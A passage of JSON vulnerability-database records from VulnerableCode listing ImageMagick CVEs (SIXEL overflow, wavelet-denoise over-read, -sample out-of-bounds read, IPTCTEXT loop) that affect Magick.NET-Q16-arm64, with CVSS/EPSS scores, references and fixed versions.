"VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25985", "GHSA-v7g2-m8c5-mf84" ], "risk_score": 4.0, "exploitability": "0.5", "weighted_severity": "8.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5e5g-55d6-3yev" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50884?format=api", "vulnerability_id": "VCID-5mtv-p43c-fqc5", "summary": "ImageMagick Has Signed Integer Overflow in SIXEL Decoder, Leading to Memory Corruption\nA signed integer overflow vulnerability in ImageMagick's SIXEL decoder allows an attacker to trigger memory corruption and denial of service when processing a maliciously crafted SIXEL image file. The vulnerability occurs during buffer reallocation operations where pointer arithmetic using signed 32-bit integers overflows.\n\n```\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==143838==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25970.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25970.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25970", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00059", "scoring_system": "epss", "scoring_elements": "0.18893", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25970" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25970", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25970" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442108", "reference_id": "2442108", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442108" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25970", "reference_id": "CVE-2026-25970", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25970" }, { "reference_url": "https://github.com/advisories/GHSA-xg29-8ghv-v4xr", "reference_id": "GHSA-xg29-8ghv-v4xr", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-xg29-8ghv-v4xr" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xg29-8ghv-v4xr", "reference_id": "GHSA-xg29-8ghv-v4xr", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xg29-8ghv-v4xr" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25970", "GHSA-xg29-8ghv-v4xr" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5mtv-p43c-fqc5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50356?format=api", "vulnerability_id": "VCID-5xqc-2jt1-dfh1", "summary": "ImageMagick: Heap Buffer Over-read in WaveletDenoise when processing small images\nA heap buffer over-read vulnerability occurs when processing an image with small dimension using the `-wavelet-denoise` operator.\n\n```\n==3693336==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000001280 at pc 0x5602c8b0cc75 bp 0x7ffcb105d510 sp 0x7ffcb105d500\nREAD of size 4 at 0x511000001280 thread T0\n```", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27798.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.1", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-27798.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27798", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00017", "scoring_system": "epss", "scoring_elements": "0.04213", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-27798" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27798", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27798" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/0377e60b3c0d766bd7271221c95d9ee54f6a3738", "reference_id": "", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/0377e60b3c0d766bd7271221c95d9ee54f6a3738" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442872", "reference_id": "2442872", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442872" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27798", "reference_id": "CVE-2026-27798", "reference_type": "", "scores": [ { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27798" }, { "reference_url": "https://github.com/advisories/GHSA-qpgx-jfcq-r59f", "reference_id": "GHSA-qpgx-jfcq-r59f", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-qpgx-jfcq-r59f" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpgx-jfcq-r59f", "reference_id": "GHSA-qpgx-jfcq-r59f", "reference_type": "", "scores": [ { "value": "4", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "4.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T16:54:43Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-qpgx-jfcq-r59f" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-27798", "GHSA-qpgx-jfcq-r59f" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5xqc-2jt1-dfh1" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62842?format=api", "vulnerability_id": "VCID-5xqw-b2kv-ckb5", "summary": "ImageMagick: ImageMagick: Denial of service via out-of-bounds read in -sample operation", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33905.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33905.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33905", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00304", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33905" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33905", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33905" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:18Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/cca607366fb38c2dde019a9088b8415ffba3a835", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:18Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/cca607366fb38c2dde019a9088b8415ffba3a835" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:18Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pcvx-ph33-r5vv", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-16T13:22:18Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pcvx-ph33-r5vv" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33905", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33905" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458055", "reference_id": "2458055", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458055" }, { "reference_url": "https://github.com/advisories/GHSA-pcvx-ph33-r5vv", "reference_id": "GHSA-pcvx-ph33-r5vv", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-pcvx-ph33-r5vv" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-33905", "GHSA-pcvx-ph33-r5vv" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5xqw-b2kv-ckb5" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50323?format=api", "vulnerability_id": "VCID-7rkq-y5rp-wyfm", "summary": "ImageMagick has infinite loop when writing IPTCTEXT leads to denial of service via crafted profile\nA crafted profile contain invalid IPTC data may cause an infinite loop when writing it with `IPTCTEXT`.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26066.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-26066.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26066", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00019", "scoring_system": "epss", "scoring_elements": "0.0534", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-26066" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26066", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26066" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/880057ce34f6da9dff2fe3b290bbbc45b743e613", "reference_id": "", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/880057ce34f6da9dff2fe3b290bbbc45b743e613" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442142", "reference_id": "2442142", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442142" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26066", "reference_id": "CVE-2026-26066", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26066" }, { "reference_url": "https://github.com/advisories/GHSA-v994-63cg-9wj3", "reference_id": "GHSA-v994-63cg-9wj3", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-v994-63cg-9wj3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v994-63cg-9wj3", "reference_id": "GHSA-v994-63cg-9wj3", "reference_type": "", "scores": [ { "value": "6.2", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-v994-63cg-9wj3" }, { "reference_url": "https://usn.ubuntu.com/8127-1/", "reference_id": "USN-8127-1", "reference_type": "", "scores": [], "url": "https://usn.ubuntu.com/8127-1/" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": 